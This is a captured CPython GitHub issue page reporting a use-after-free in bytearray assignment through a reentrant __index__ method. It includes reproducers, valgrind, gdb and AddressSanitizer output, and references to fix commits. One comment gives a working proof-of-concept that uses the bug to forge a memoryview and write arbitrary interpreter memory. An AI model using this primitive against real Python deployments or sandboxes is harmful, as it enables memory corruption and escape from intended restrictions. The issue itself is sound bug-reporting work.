GeezerVison is showing github.com — UAF when writing to a bytearray with an element implementing `__index__` with side-effects · Issue #91153 · python/cpython
UAF when writing to a bytearray with an element implementing __index__ with side-effects #91153Description
Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.
Show more details
GitHub fields:
assignee = None
closed_at = None
created_at = <Date 2022-03-13.02:05:03.024>
labels = ['interpreter-core', '3.9', '3.10', '3.11']
title = 'Invalid memory write in bytearray'
updated_at = <Date 2022-03-13.02:14:01.825>
user = 'https://github.com/JelleZijlstra'
bugs.python.org fields:
activity = <Date 2022-03-13.02:14:01.825>
actor = 'JelleZijlstra'
assignee = 'none'
closed = False
closed_date = None
closer = None
components = ['Interpreter Core']
creation = <Date 2022-03-13.02:05:03.024>
creator = 'JelleZijlstra'
dependencies = []
files = []
hgrepos = []
issue_num = 46997
keywords = []
message_count = 2.0
messages = ['415021', '415022']
nosy_count = 2.0
nosy_names = ['gvanrossum', 'JelleZijlstra']
pr_nums = []
priority = 'normal'
resolution = None
stage = None
status = 'open'
superseder = None
type = None
url = 'https://bugs.python.org/issue46997'
versions = ['Python 3.9', 'Python 3.10', 'Python 3.11']
Linked PRs
ActivityJelleZijlstra commented on Mar 13, 2022 Inspired by Guido's comment in https://github.com/python/cpython/pull/31834/files#r825352900, I found that there are some places in bytearrayobject.c where we can write to free'd memory if we encounter an object with a sneaky __index__ method:
$ cat basneak.py
ba = bytearray([0 for _ in range(10000)])
class sneaky:
def __index__(self):
ba.clear()
return 1
ba[-1] = sneaky()
$ valgrind ./python basneak.py
==87894== Memcheck, a memory error detector
==87894== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==87894== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==87894== Command: ./python basneak.py
==87894==
==87894== Invalid write of size 1
==87894== at 0x49B70F: bytearray_ass_subscript (bytearrayobject.c:632)
==87894== by 0x488E03: PyObject_SetItem (abstract.c:211)
<snip>
In bytearray_setitem(), we first do bounds checking, and then call _getbytevalue() to get the numeric value of the argument.
I think there's a similar bug in bytearray_ass_subscript(). JelleZijlstra commented on Mar 13, 2022 3.9 segfaults.
(gdb) bt
#0 bytearray_ass_subscript (self=<optimized out>, index=0x7ffff7e118f0, values=0x7ffff6f918b0) at Objects/bytearrayobject.c:640
#1 0x0000000000536302 in _PyEval_EvalFrameDefault (tstate=<optimized out>, f=0x999a80, throwflag=<optimized out>) at Python/ceval.c:1990
#2 0x0000000000534775 in _PyEval_EvalFrame (throwflag=0, f=0x999a80, tstate=0x93de90) at ./Include/internal/pycore_ceval.h:40 chilaxan commented on May 19, 2022 to_write_after_free = bytearray(bytearray.__basicsize__)
class sneaky:
def __index__(self):
global to_corrupt_ob_exports, to_uaf
del to_write_after_free[:]
to_corrupt_ob_exports = bytearray(bytearray.__basicsize__)
to_write_after_free.__init__(bytearray.__basicsize__)
to_uaf = memoryview(to_corrupt_ob_exports)
return -tuple.__itemsize__
to_write_after_free[sneaky()] = 0
occupy_uaf = to_corrupt_ob_exports.clear() \
or bytearray()
view_backing = to_uaf.cast('P')
view = occupy_uaf
view_backing[2] = (2 ** (tuple.__itemsize__ * 8) - 1) // 2
memory = memoryview(view)
memory[id(250) + int.__basicsize__] = 100
print(250)
proof of concept that this bug can be used to corrupt memory in a malicious/useful way
tested on Python 3.12.0a0 built with ./configure --enable-optimizations

Reacted by Jelle Zijlstra and Eritque Arcus kumaraditya303 commented on Jul 13, 2022 ASAN report:
=================================================================
==17089==ERROR: AddressSanitizer: heap-use-after-free on address 0x62600000580f at pc 0x55f0875e0b57 bp 0x7fff4c7822e0 sp 0x7fff4c7822d0
WRITE of size 1 at 0x62600000580f thread T0
#0 0x55f0875e0b56 in bytearray_ass_subscript Objects/bytearrayobject.c:618
#1 0x55f08758e10f in PyObject_SetItem Objects/abstract.c:212
#2 0x55f087bc13ec in _PyEval_EvalFrameDefault Python/ceval.c:2333
#3 0x55f087c304a3 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:74
#4 0x55f087c304a3 in _PyEval_Vector Python/ceval.c:6472
#5 0x55f087c309c9 in PyEval_EvalCode Python/ceval.c:1161
#6 0x55f087daf6b2 in run_eval_code_obj Python/pythonrun.c:1713
#7 0x55f087db12ac in run_mod Python/pythonrun.c:1734
#8 0x55f087db1667 in pyrun_file Python/pythonrun.c:1629
#9 0x55f087dbf998 in _PyRun_SimpleFileObject Python/pythonrun.c:439
#10 0x55f087dc0151 in _PyRun_AnyFileObject Python/pythonrun.c:78
#11 0x55f087e616b7 in pymain_run_file_obj Modules/main.c:360
#12 0x55f087e6234c in pymain_run_file Modules/main.c:379
#13 0x55f087e66d2a in pymain_run_python Modules/main.c:610
#14 0x55f087e66fa5 in Py_RunMain Modules/main.c:689
#15 0x55f087e67195 in pymain_main Modules/main.c:719
#16 0x55f087e674fc in Py_BytesMain Modules/main.c:743
#17 0x55f0873362c5 in main Programs/python.c:15
#18 0x7f73bfe63082 in __libc_start_main ../csu/libc-start.c:308
#19 0x55f0873361fd in _start (/workspaces/cpython/python+0x18491fd)
0x62600000580f is located 9999 bytes inside of 10001-byte region [0x626000003100,0x626000005811)
freed by thread T0 here:
#0 0x7f73c0c2ac3e in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:163
#1 0x55f0878484bb in _PyMem_RawRealloc Objects/obmalloc.c:123
#2 0x55f08784cb06 in PyObject_Realloc Objects/obmalloc.c:735
#3 0x55f0875d5540 in PyByteArray_Resize Objects/bytearrayobject.c:233
#4 0x55f0875dfdcc in bytearray_clear_impl Objects/bytearrayobject.c:1134
#5 0x55f0875dfec4 in bytearray_clear Objects/clinic/bytearrayobject.c.h:89
#6 0x55f087689006 in method_vectorcall_NOARGS Objects/descrobject.c:454
#7 0x55f08763a245 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:92
#8 0x55f08763a245 in PyObject_Vectorcall Objects/call.c:300
#9 0x55f087c101b1 in _PyEval_EvalFrameDefault Python/ceval.c:4841
#10 0x55f087c304a3 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:74
#11 0x55f087c304a3 in _PyEval_Vector Python/ceval.c:6472
#12 0x55f087636edd in _PyFunction_Vectorcall Objects/call.c:396
#13 0x55f0878ee41e in _PyObject_VectorcallTstate Include/internal/pycore_call.h:92
#14 0x55f0878ee41e in vectorcall_unbound Objects/typeobject.c:1651
#15 0x55f0878ee41e in vectorcall_method Objects/typeobject.c:1682
#16 0x55f0878efe5a in slot_nb_index Objects/typeobject.c:7643
#17 0x55f087585d45 in _PyNumber_Index Objects/abstract.c:1418
#18 0x55f08776dd33 in PyLong_AsLongAndOverflow Objects/longobject.c:503
#19 0x55f0875a70bc in _getbytevalue Objects/bytearrayobject.c:27
#20 0x55f0875e0765 in bytearray_ass_subscript Objects/bytearrayobject.c:616
#21 0x55f08758e10f in PyObject_SetItem Objects/abstract.c:212
#22 0x55f087bc13ec in _PyEval_EvalFrameDefault Python/ceval.c:2333
#23 0x55f087c304a3 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:74
#24 0x55f087c304a3 in _PyEval_Vector Python/ceval.c:6472
#25 0x55f087c309c9 in PyEval_EvalCode Python/ceval.c:1161
#26 0x55f087daf6b2 in run_eval_code_obj Python/pythonrun.c:1713
#27 0x55f087db12ac in run_mod Python/pythonrun.c:1734
#28 0x55f087db1667 in pyrun_file Python/pythonrun.c:1629
#29 0x55f087dbf998 in _PyRun_SimpleFileObject Python/pythonrun.c:439
#30 0x55f087dc0151 in _PyRun_AnyFileObject Python/pythonrun.c:78
#31 0x55f087e616b7 in pymain_run_file_obj Modules/main.c:360
#32 0x55f087e6234c in pymain_run_file Modules/main.c:379
#33 0x55f087e66d2a in pymain_run_python Modules/main.c:610
#34 0x55f087e66fa5 in Py_RunMain Modules/main.c:689
previously allocated by thread T0 here:
#0 0x7f73c0c2ac3e in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:163
#1 0x55f0878484bb in _PyMem_RawRealloc Objects/obmalloc.c:123
#2 0x55f08784cb06 in PyObject_Realloc Objects/obmalloc.c:735
#3 0x55f0875d5540 in PyByteArray_Resize Objects/bytearrayobject.c:233
#4 0x55f0875d6f5c in bytearray___init___impl Objects/bytearrayobject.c:835
#5 0x55f0875d8f83 in bytearray___init__ Objects/clinic/bytearrayobject.c.h:68
#6 0x55f0878d9f4e in type_call Objects/typeobject.c:1112
#7 0x55f087637615 in _PyObject_MakeTpCall Objects/call.c:215
#8 0x55f08763a2a6 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:90
#9 0x55f08763a2a6 in PyObject_Vectorcall Objects/call.c:300
#10 0x55f087c101b1 in _PyEval_EvalFrameDefault Python/ceval.c:4841
#11 0x55f087c304a3 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:74
#12 0x55f087c304a3 in _PyEval_Vector Python/ceval.c:6472
#13 0x55f087c309c9 in PyEval_EvalCode Python/ceval.c:1161
#14 0x55f087daf6b2 in run_eval_code_obj Python/pythonrun.c:1713
#15 0x55f087db12ac in run_mod Python/pythonrun.c:1734
#16 0x55f087db1667 in pyrun_file Python/pythonrun.c:1629
#17 0x55f087dbf998 in _PyRun_SimpleFileObject Python/pythonrun.c:439
#18 0x55f087dc0151 in _PyRun_AnyFileObject Python/pythonrun.c:78
#19 0x55f087e616b7 in pymain_run_file_obj Modules/main.c:360
#20 0x55f087e6234c in pymain_run_file Modules/main.c:379
#21 0x55f087e66d2a in pymain_run_python Modules/main.c:610
#22 0x55f087e66fa5 in Py_RunMain Modules/main.c:689
#23 0x55f087e67195 in pymain_main Modules/main.c:719
#24 0x55f087e674fc in Py_BytesMain Modules/main.c:743
#25 0x55f0873362c5 in main Programs/python.c:15
#26 0x7f73bfe63082 in __libc_start_main ../csu/libc-start.c:308
SUMMARY: AddressSanitizer: heap-use-after-free Objects/bytearrayobject.c:618 in bytearray_ass_subscript
Shadow bytes around the buggy address:
0x0c4c7fff8ab0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4c7fff8ac0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4c7fff8ad0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4c7fff8ae0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4c7fff8af0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c4c7fff8b00: fd[fd]fd fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff8b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff8b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff8b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff8b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff8b50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==17089==ABORTING
added a commit that references this issue on Jul 19, 2022GH-91153: Handle mutating __index__ methods in bytearray item assignm… added 2 commits that reference this issue on Jul 12, 2025gh-91153: prevent a crash in `bytearray.__setitem__(ind, ...)` when `… added 2 commits that reference this issue on Jul 24, 2026gh-153570: Fix use-after-free in bytearray.take_bytes() with a reentr…
MetadataMetadataDevelopmentNo branches or pull requestsIssue actions
|